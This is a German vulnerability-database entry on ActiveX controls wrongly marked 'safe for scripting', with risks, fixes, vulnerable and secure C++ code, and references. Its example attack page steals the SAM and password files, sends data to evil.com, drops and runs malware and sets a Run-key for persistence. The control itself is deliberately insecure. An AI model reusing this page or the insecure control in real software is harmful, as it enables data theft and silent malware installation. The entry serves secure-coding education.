Zurück zur Schwachstellen-Datenbank

Unsicheres ActiveX-Control als Safe For Scripting markiert

Beschreibung

Unsicheres ActiveX-Control als Safe For Scripting markiert tritt auf, wenn ein ActiveX-Control, das potenziell gefährliche Operationen durchführt (Dateisystemzugriff, Registry-Modifikation, Netzwerkoperationen), als "Safe for Scripting" und "Safe for Initialization" markiert ist. Dies ermöglicht die Instanziierung und Manipulation des Controls durch Skripte auf Webseiten ohne Sicherheitsaufforderungen und ermöglicht Drive-by-Angriffe von bösartigen Websites.

Risiko

Bösartige Webseiten können gefährliche Operationen stillschweigend durch das ActiveX-Control ausführen. Dateisystemzugriff kann Dateien auf dem Computer des Opfers lesen, schreiben oder löschen. Registry-Zugriff kann Systemkonfiguration modifizieren. Netzwerkoperationen können Daten exfiltrieren oder Malware herunterladen. Der Angriff erfordert keine Benutzerinteraktion außer dem Besuch der bösartigen Seite. Jede Website kann die Schwachstelle ausnutzen, sobald das Control installiert ist.

Lösung

Markieren Sie Controls niemals als Safe for Scripting, wenn sie gefährliche Operationen durchführen. Implementieren Sie ordnungsgemäße Eingabevalidierung in allen Methoden. Verwenden Sie SiteLock, um Controls auf bestimmte vertrauenswürdige Domains zu beschränken. Erwägen Sie die Verwendung sichererer Alternativen zu ActiveX. Wenn Controls safe for scripting sein müssen, sandboxen Sie alle Operationen. Implementieren Sie Sicherheitsprüfungen für jeden Methodenaufruf.

Häufige Auswirkungen

AuswirkungDetails
IntegritätBereich: Systemmodifikation

Skripte können Dateien, Registry, Systemzustand modifizieren.
VertraulichkeitBereich: Datendiebstahl

Lokale Dateien können gelesen und exfiltriert werden.
VerfügbarkeitBereich: Systemschäden

Bösartige Skripte können Dateien löschen oder System korrumpieren.

Beispielcode + Lösungscode

Verwundbarer Code

// VERWUNDBAR: ActiveX-Control als Safe for Scripting markiert
// mit gefährlichen Dateioperationen

// IDL-Datei
[
    uuid(12345678-1234-1234-1234-123456789ABC),
    helpstring("Vulnerable File Control")
]
coclass VulnerableFileControl
{
    [default] interface IVulnerableFile;
};

// Implementierung
class CVulnerableFileControl :
    public CComObjectRootEx<CComSingleThreadModel>,
    public IDispatchImpl<IVulnerableFile>,
    public IObjectSafetyImpl<CVulnerableFileControl,
        INTERFACESAFE_FOR_SCRIPTING |  // GEFÄHRLICH!
        INTERFACESAFE_FOR_UNTRUSTED_DATA>
{
public:
    // VERWUNDBAR: Liest jede Datei
    STDMETHODIMP ReadFile(BSTR path, BSTR* content)
    {
        // Keine Validierung - liest jede Datei!
        *content = ReadFileContents(path);
        return S_OK;
    }

    // VERWUNDBAR: Schreibt in jede Datei
    STDMETHODIMP WriteFile(BSTR path, BSTR content)
    {
        // Keine Validierung - schreibt überall!
        WriteFileContents(path, content);
        return S_OK;
    }

    // VERWUNDBAR: Führt beliebige Befehle aus
    STDMETHODIMP Execute(BSTR command)
    {
        // Keine Validierung - führt alles aus!
        system(OLE2A(command));
        return S_OK;
    }

    // VERWUNDBAR: Registry-Zugriff
    STDMETHODIMP ReadRegistry(BSTR key, BSTR* value)
    {
        // Keine Validierung - liest jeden Registry-Schlüssel!
        *value = ReadRegistryValue(key);
        return S_OK;
    }
};

// Registry-Einträge die es als sicher markieren
HKEY_CLASSES_ROOT\CLSID\{...}\Implemented Categories\
    {7DD95801-9882-11CF-9FA9-00AA006C42C4}  // Safe for Scripting
    {7DD95802-9882-11CF-9FA9-00AA006C42C4}  // Safe for Initialization

<!-- Bösartige Webseite die das Control ausnutzt -->
<html>
<body>
<script>
    // Verwundbares Control instanziieren
    var ctrl = new ActiveXObject("VulnerableLib.FileControl");

    // Sensible Dateien stehlen
    var passwords = ctrl.ReadFile("C:\\Users\\victim\\passwords.txt");
    var config = ctrl.ReadFile("C:\\Windows\\System32\\config\\SAM");

    // Daten exfiltrieren
    new Image().src = "http://evil.com/steal?data=" +
                      encodeURIComponent(passwords);

    // Malware schreiben
    ctrl.WriteFile("C:\\Windows\\Temp\\malware.exe", malwareBytes);
    ctrl.Execute("C:\\Windows\\Temp\\malware.exe");

    // Registry für Persistenz modifizieren
    ctrl.WriteRegistry(
        "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Malware",
        "C:\\Windows\\Temp\\malware.exe"
    );
</script>
</body>
</html>

Lösungscode

// SICHER: ActiveX-Control mit ordnungsgemäßer Sicherheit

// Option 1: Nicht als Safe for Scripting markieren
class CSafeFileControl :
    public CComObjectRootEx<CComSingleThreadModel>,
    public IDispatchImpl<ISafeFile>
    // KEIN IObjectSafetyImpl - nicht safe for scripting!
{
    // Benutzer werden vor Verwendung aufgefordert
};

// Option 2: IObjectSafety mit Validierung implementieren
class CSecureControl :
    public CComObjectRootEx<CComSingleThreadModel>,
    public IDispatchImpl<ISecureControl>,
    public IObjectSafety
{
private:
    DWORD m_dwSafety;
    CComBSTR m_allowedDomain;

public:
    CSecureControl() : m_dwSafety(0), m_allowedDomain(L"trusted.example.com") {}

    // IObjectSafety manuell mit SiteLock implementieren
    STDMETHODIMP GetInterfaceSafetyOptions(
        REFIID riid, DWORD* pdwSupportedOptions, DWORD* pdwEnabledOptions)
    {
        *pdwSupportedOptions = INTERFACESAFE_FOR_SCRIPTING;
        *pdwEnabledOptions = m_dwSafety;
        return S_OK;
    }

    STDMETHODIMP SetInterfaceSafetyOptions(
        REFIID riid, DWORD dwOptionSetMask, DWORD dwEnabledOptions)
    {
        // Sicheres Scripting nur von vertrauenswürdiger Domain erlauben
        if (!IsAllowedDomain())
        {
            return E_FAIL;  // Nicht sicher von dieser Site
        }

        m_dwSafety = dwEnabledOptions & dwOptionSetMask;
        return S_OK;
    }

    // SiteLock-Prüfung
    bool IsAllowedDomain()
    {
        CComPtr<IServiceProvider> pSP;
        CComPtr<IWebBrowser2> pBrowser;
        CComBSTR url;

        // Browser-Instanz holen
        if (SUCCEEDED(GetSite(IID_IServiceProvider, (void**)&pSP)) &&
            SUCCEEDED(pSP->QueryService(SID_SWebBrowserApp,
                                        IID_IWebBrowser2,
                                        (void**)&pBrowser)) &&
            SUCCEEDED(pBrowser->get_LocationURL(&url)))
        {
            // Prüfen, ob URL von erlaubter Domain ist
            return IsUrlAllowed(url);
        }

        return false;
    }

    bool IsUrlAllowed(BSTR url)
    {
        // Strikte Domain-Prüfung
        CComBSTR urlLower(url);
        urlLower.ToLower();

        // Muss HTTPS von vertrauenswürdiger Domain sein
        return wcsstr(urlLower, L"https://trusted.example.com/") != NULL;
    }

    // SICHER: Eingeschränkte Dateioperationen
    STDMETHODIMP ReadFile(BSTR path, BSTR* content)
    {
        // Aufrufer validieren
        if (!IsAllowedDomain())
            return E_ACCESSDENIED;

        // Erlaubte Pfade mit Whitelist
        if (!IsAllowedPath(path))
            return E_INVALIDARG;

        // Auf spezifisches Verzeichnis beschränken
        CComBSTR safePath;
        if (!SandboxPath(path, &safePath))
            return E_INVALIDARG;

        *content = ReadFileContents(safePath);
        return S_OK;
    }

    bool IsAllowedPath(BSTR path)
    {
        // Nur Lesen aus spezifischem sicherem Verzeichnis erlauben
        CComBSTR pathLower(path);
        pathLower.ToLower();

        // Muss im Anwendungsdaten-Ordner sein
        return wcsstr(pathLower,
            L"c:\\users\\public\\appdata\\ourapp\\") != NULL;
    }

    // SICHER: Keine Execute-Methode überhaupt!
    // SICHER: Kein Registry-Zugriff überhaupt!

    // SICHER: Eingeschränkte Schreiboperation
    STDMETHODIMP SaveData(BSTR filename, BSTR content)
    {
        if (!IsAllowedDomain())
            return E_ACCESSDENIED;

        // Dateinamen validieren (keine Path-Traversal)
        if (wcschr(filename, L'\\') || wcschr(filename, L'/'))
            return E_INVALIDARG;

        // Nur spezifische Erweiterungen
        if (!HasAllowedExtension(filename, L".dat"))
            return E_INVALIDARG;

        // Festes sicheres Verzeichnis
        CComBSTR safePath(L"C:\\Users\\Public\\AppData\\OurApp\\");
        safePath.Append(filename);

        WriteFileContents(safePath, content);
        return S_OK;
    }
};

// SICHER: Moderne Alternative - ActiveX ganz vermeiden
// Browser-Extensions oder Web-APIs stattdessen verwenden

// Für Legacy-Anforderungen BHO mit ordnungsgemäßer Sicherheit verwenden
class CSecureBHO : public IObjectWithSite
{
    // Browser Helper Objects haben besseres Sicherheitsmodell
    // Trotzdem alle Operationen validieren
};

// Oder zu modernen Web-Technologien migrieren:
// - HTML5 File API (mit Benutzereinwilligung)
// - Browser-Extensions (sandboxed)
// - Native Messaging von Extension zu lokaler App

Ausgenutzt in der Praxis

Drive-by-Downloads

Verwundbare ActiveX-Controls wurden für stille Malware-Installation verwendet.

Datendiebstahl

Controls mit Dateizugriff wurden ausgenutzt, um sensible Dokumente zu stehlen.

Unternehmensangriffe

Interne ActiveX-Controls wurden in gezielten Angriffen ausgenutzt.

Tools zum Testen/Ausnutzen

  • AxMan — ActiveX-Fuzzer.
  • OleView — ActiveX-Schnittstellen untersuchen.
  • Process Monitor — Control-Operationen verfolgen.

CVE-Beispiele

  • CVE-2018-8174: VBScript/ActiveX Use-after-free.
  • Mehrere CVEs in Anbieter-ActiveX-Controls.

Referenzen

  1. MITRE. "CWE-623: Unsafe ActiveX Control Marked Safe For Scripting." https://cwe.mitre.org/data/definitions/623.html
  2. Microsoft. "Safe Initialization and Scripting for ActiveX Controls."